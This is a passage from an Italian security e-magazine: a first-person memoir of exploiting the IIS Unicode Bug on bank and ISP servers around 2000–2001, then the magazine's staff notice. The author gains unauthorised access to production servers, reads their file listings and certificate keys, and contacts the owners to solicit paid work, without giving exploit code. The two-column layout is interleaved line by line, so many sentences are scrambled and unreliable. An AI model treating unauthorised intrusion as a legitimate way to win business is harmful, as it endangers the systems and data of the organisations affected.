interessarsi del problemi mi chiese come si poteva tre: Banca di Roma, Webank (ovvero la Banca

risolvere. Gli dettai per telefono il link web in cui Popolare di Milano) e Banca 121, esattamente

risiedeva la patch MS00-57 e ci salutammo dopo aver localizzate al centro, al nord ed al sud Italia. Interrogai

ricevuto da lui un freddo ringraziamento e la il database whois del NIC (www.nic.it) per risalire ai

promessa che avrebbe provveduto a rimuovere “la numeri telefonici delle rispettive sedi e cominciai a

minaccia”. Riagganciai amaramente la cornetta con chiamare.

56

Page 57: Security System

Racconti dall’ undergroundLA VERA STORIA

DELL’ UNICODE BUG

la certezza che dopo qualche giorno la polizia postale fax:

avrebbe bussato alla porta di casa.

Ho riscontrato una vulnerabilità nel vostro server

www.banca121.it che mi permette di avere accesso a La telefonata alla Banca Popolare di tutto l'hard disk della macchina (come sotto potete Milanoben vedere) . Ho cercato d i contat tarv i

telefonicamente ma non ha mai risposto nessuno al Abbastanza spaventato da quello che avevo fatto,

num [omissis], per questo vi invio un fax. Vogliate ebbi la grande idea di non chiamare il successivo

cortesemente scaricare ed installare la patch dal contatto da casa mia…ma dall'ufficio di mio papà!

seguente URL: Questa volta mi rispose un uomo che a suo dire era il

diretto responsabile del server www.webank.it e non http://www.microsoft.com/technet/security/bullettin/

credeva ad una sola parola di quello che gli stavo ms00-078.asp

dicendo. A questo punto cominciai a fargli i nomi delle

directory presenti nel volume C e dei file contenuti – In caso di contatto il mio numero personale è

“Io da qui vedo che avete installato Oracle. Ma che ve [omissis]

ne fate di WebSphere se avete già IIS? Nella

directory certificati avete poi in bella vista le chiavi Spero che risolviate subito il problema.

pubbliche e private dei certificati X509 che utilizzate Distinti Saluti

per cifrare le connessioni SSL”. E poi ancora - “Senta [omissis]

ma che razza di cartella è WWW spero da

cancellare!!! presente nella root del volume C?”. Mi Oltre a questa scritta rigorosamente a penna, nel fax

accorsi che avevo assunto un tono forse troppo riportavo l'output di un “dir c:\” e del contenuto

altezzoso. Ero stato infastidito dal fatto che quella d e l l a d i r e c t o r y

persona non avesse creduto alle mie parole. Dopo “\Inetpub\banca121\password”. Passarono

svariati secondi di buio totale (il tizio al telefono era esattamente dieci minuti netti e fui subito contattato

nel frattempo rimasto mestamente in silenzio) gli dal signor Arnesano che si presentò come il

spiegai come risolvere il problema. Anche lui si segnò responsabile delle infrastrutture informatiche di

il link della patch e si congedò con un saluto ancora Banca 121. Lui ringraziandomi cominciò a chiedermi

più freddo di quello che mi era stato rivolto dal tecnico se lavoravo con partita iva (io ancora non avevo

della Banca di Roma. Abbassata la cornetta del nemmeno idea di che cosa fosse esattamente) ed

telefono capì che probabilmente la polizia postale eventualmente di fargli un'offerta per la fornitura di

sarebbe presto andata a cercarmi anche nell'ufficio di servizi di sicurezza che avrebbe rigirato e sottoposto

mio padre.per una valutazione ai suoi superiori. Si mostrò molto

disponibile con me, ma io non seppi approfittare La telefonata a Banca121

adeguatamente di questa sua disponibilità ed alla

fine non riuscì a concludere alcun accordo.Il terzo contatto non avvenne né dal telefono di casa,

né da quello dell'ufficio di mio padre, bensì dal mio Tirando le somme…

cellulare. In realtà fui io questa volta a ricevere la

chiamata dal responsabile delle infrastrutture Strano a dirsi, nessuno delle tre banche che contattai

informatiche di Banca121. In quei giorni infatti al sporse mai denuncia. A volte mi piace credere che il

numero di telefono della sede bancaria registrato nel buon senso da parte delle persone ascoltate al

database del NIC non rispondeva nessuno. Dopo telefono abbia prevalso e che le loro colpe per non

svariati tentativi decisi quindi di inviare il seguente aver aggiornato i sistemi che gestivano fossero

57

Page 58: Security System

Racconti dall’ undergroundLA VERA STORIA

DELL’ UNICODE BUG

probabilmente più grandi delle mie che avevo cercato d'affari come ISP li aveva visti costretti a cercare

di ottenere un lavoro in un modo così abietto. Ma alla fortuna verso altri lidi e svolgere quindi consulenze

fine questo benedetto lavoro arrivò comunque. Non extra presso i pochi clienti che avevano. Questo li

era proprio quello che mi aspettavo ma fu quello che portava a trascurare la sicurezza delle loro

diede il “la” alla mia indipendenza economica infrastrutture informatiche. Dopo tali dichiarazioni

definitiva. Era l'aprile del 2001. A gennaio avevo pensai tra me e me di essere capitato nell'azienda più

svolto la visita militare ed ero risultato idoneo. squattrinata della mia città. Alla fine, dopo una cena a

Attendevo quindi di essere chiamato per la leva nei base di hamburger e patatine (il meglio che un

mesi successivi. Il lavoro dicevo…lo ottenni diciannovenne in quel momento potesse desiderare),

ricalcando la metodologia già adottata sei mesi il responsabile commerciale mi offrì un contratto a

prima. Questa volta però invece di puntare alle progetto di un milione di lire. L'obiettivo era quello di

banche, puntai agli Internet Service Provider della creare una intranet (fino a quel momento ogni client

mia città. Da ottobre erano ancora in pochi quelli che era dotato di un indirizzo IP pubblico raggiungibile

avevano installato la patch contro l'IIS Unicode Bug direttamente da Internet), una zona demilitarizzata

ed i provider locali probabilmente erano gli ultimi della per i server, installare un firewall e configurare i nuovi

classifica. Presi contatti con alcuni di questi servizi DNS e di posta, possibilmente più sicuri dei

intenzionato ad illustrare il problema ma a non fornire precedenti che nel frattempo erano diventati il covo di

alcun accenno sul come risolverlo se non fossi hacker maltesi. Terminai il progetto in un mese

riuscito a concretizzare queste nuove occasioni. Al scarso. Successivamente, a seguito di una nuova

telefono mi risposero sempre le ragazze che esperienza lavorativa romana durata poco più di 12

svolgevano i servizi di segreteria. Spiegai loro alla mesi (dal settembre 2001 all'ottobre 2002),

bella e meglio la questione e dissi di farmi richiamare quell'azienda sarebbe diventata la mia “fucina di

dai responsabili aziendali. Nessuno lo fece. Alla fine, formazione professionale” (in pratica laboratori e

qualche giorno dopo, mi decisi a prendere l'auto e sistemi gratis per svolgere test di ogni tipo) per ben tre

recarmi di persona nel provider più vicino a casa mia. anni. Questo prima di realizzare che i consulenti con

Quando mi presentai davanti alla loro porta e spiegai partita iva guadagnavano molto di più degli

il problema mi fecero parlare con il responsabile apprendisti a tempo determinato, la tipologia di

tecnico, l'ingegner Blanco. Dopo una breve contratto che fino a quel momento loro erano stati

spiegazione mi sembrarono tutti quanti più titubanti di capaci di offrirmi.

prima perciò chiesi loro di darmi un computer. Mi

sedetti in una delle postazioni dell'ufficio e gli Per la cronaca, non ho mai svolto il servizio di leva,

dimostrai quello che potevo fare, mostrandogli come ricevendo il congedo nel tardo 2003. Non chiedetemi

potessi accedere in modo semplice ai loro server. Le come ho fatto però…

persone che avevo di fronte erano giovani come me,

al massimo di tre/otto anni più grandi e si mostrarono I worm e gli arrestientusiasti delle capacità che avevo espresso. In

realtà parlavo con gente che fino a quel momento In termini di diffusione l'Unicode Bug può essere correlava la parola sicurezza alla protezione civile, considerata senza alcun dubbio la vulnerabilità più pertanto i loro complimenti erano un po' come quelli di eclatante nella storia informatica dei web server, un bambino che guarda per la prima volta un gioco di forse quella che addirittura, sfruttata da worm come prestigio, ma ne rimasi ugualmente felice. L'unico un Nimda e CodeRed (che nei tre/quattro anni po' più perplesso e rimasto sulle difensive rispetto agli successivi infettarono centinaia di migliaia di PC) è altri era proprio l'ingegner Blanco. Infondo era lui che stata, in termini di tempo, la più duratura di qualunque avrebbe dovuto svolgere il ruolo di sistemista in altra sino ad oggi mai esistita. Il 24 settembre 2001, azienda, ma mi confessarono che lo scarso giro quasi un anno dopo dalla scoperta della falla, il

58

Page 59: Security System

Racconti dall’ underground

portale di informazione e notizie online “Punto Ma che cosa avevano fatto esattamente di così

Informatico” riportò le dichiarazioni di alcuni esperti eclatante questi ragazzi? Avevano semplicemente

che definirono Nimda come il virus “a più veloce bucato alcune decine di web server con una

diffusione mai apparso su Internet”. Erano passati 11 vulnerabilità ancora molto in voga ai tempi (appunto

mesi e solo poche decine di migliaia di server web l'Unicode Bug), già nota da più di un anno e per giunta

avevano installato la patch del sito Microsoft non scoperta da loro. Tra questi web server ve ne

disponibile sin dall'agosto del 2000. erano alcuni della FAO, del CNR, del Ministero della

Salute. Uno era addirittura della NASA. I giornali

Quando fu chiaro che l'Unicode Bug rappresentava tuonarono per questo scandalo ed il Maurizio

una grossissima minaccia, appunto solo dopo Costanzo Show fece seguito. Tutti si dimenticarono di

l'avvento di famelici worm, cominciarono anche a dire però che quel serverino dell'agenzia spaziale

scattare le prime manette. Alcuni minorenni che americana, mezzo isolato, era stato dimenticato dai

componevano il fantomatico gruppo hacker Hi Tech sistemisti, il che faceva capire quale importanza

Hate Crew dedito principalmente al defacement, ricoprisse realmente per la National Aeronautics and

ovvero alla modifica al fine di scherno della pagina Space Administration. Si trattava in realtà di un server

principale dei siti web di mezzo mondo, si resero di quart'ordine, prossimo alla dismissione. Insomma

protagonisti di alcune azioni incaute, sfruttando le una colossale balla, gonfiata ad arte allo stesso modo

informazioni divulgate pubblicamente da Rain Forest di come nei mesi precedenti si era narrato nei giornali

Puppy il 17 ottobre del 2000. Sono sempre stato italiani di fantomatici hacker sardi che rubavano dati

contrario alla full-disclosure dei dettagli dell'Unicode dai computer delle loro vittime sfruttando programmi

Bug (e vedendo gli effetti prodotti con il senno del poi “professionali” come Netbus o BackOrifice.

continuo ad esserlo tutt'oggi) ma ripensandoci bene

probabilmente se non l'avesse fatto lui, qualcun altro Penso che quello che mi ha differenziato rispetto ai

avrebbe divulgato poco dopo la notizia al suo posto. Il ragazzi dell'Hi Tech Hate Crew è stato probabilmente

grosso evento si era infatti già verificato con quel il rifiutare lo strumento del defacement come mezzo

primo messaggio anonimo nel forum di Packetstorm. per mettermi in luce. E se oggi sono qui a poter

Il resto sarebbe comunque venuto da sé. raccontare di non aver mai ricevuto una visita della

guardia di finanza, è forse perché mi rendevo conto

I ragazzi italiani arrestati dell'Hi Tech Hate Crew che con certe azioni potevo magari danneggiare

divennero quasi immediatamente celebri, ottenendo qualche povero cristo che portava a casa la pagnotta

gran parte della loro fama grazie alle balle sparate dai facendo i l s is temis ta Windows, ment re

media e giungendo addirittura ad essere “lodati” al probabilmente fino a poco tempo prima faceva il

Maurizio Costanzo Show che dedicò alla loro storia programmatore RPG[4] in un'azienda fallita.

più di una puntata. Il tenente colonnello della guardia

di Finanza Umberto Rapetto, l'attuale responsabile Tutto questo accadeva appena un anno e mezzo

del Gruppo Anticrimine Tecnologico, giunse a prima di conoscere quella splendida ragazza che poi

dichiarare che si trattava “di persone con un profilo sarebbe diventata mia moglie.

tecnico avanzato ed assolutamente al di sopra della

norma” pur la giovanissima età, che la loro cattura era

stata propiziata solo grazie alle competenze dei

professionisti che componevano il suo gruppo e che

si stava lavorando a stretto giro per mettere le

profonde conoscenze informatiche della crew a [4] Linguaggio di programmazione nativo della piattaforma IBM

disposizione delle forze dell'ordine.oggi conosciuta come iSeries o System i ed in passato meglio

nota come AS/400.

59

LA VERA STORIA DELL’ UNICODE BUG

Page 60: Security System

ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore

dell'Information Technology, sia quella open source che quella contrapposta del Sclosed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista

non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente

condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da

considerarsi frutto dell'intero staff che compone la redazione.

La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione

viene reso gratuitamente disponibile a tutti gli utenti.

Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di

Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della

rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono

vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono

sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai

tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano

questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci

per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o

fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto,

espandendolo e migliorandolo nel tempo.

Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro

inerente la rivista puoi contattarci all'indirizzo [email protected]. Puoi anche inviarci

consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo

numerosi!

Security System Staff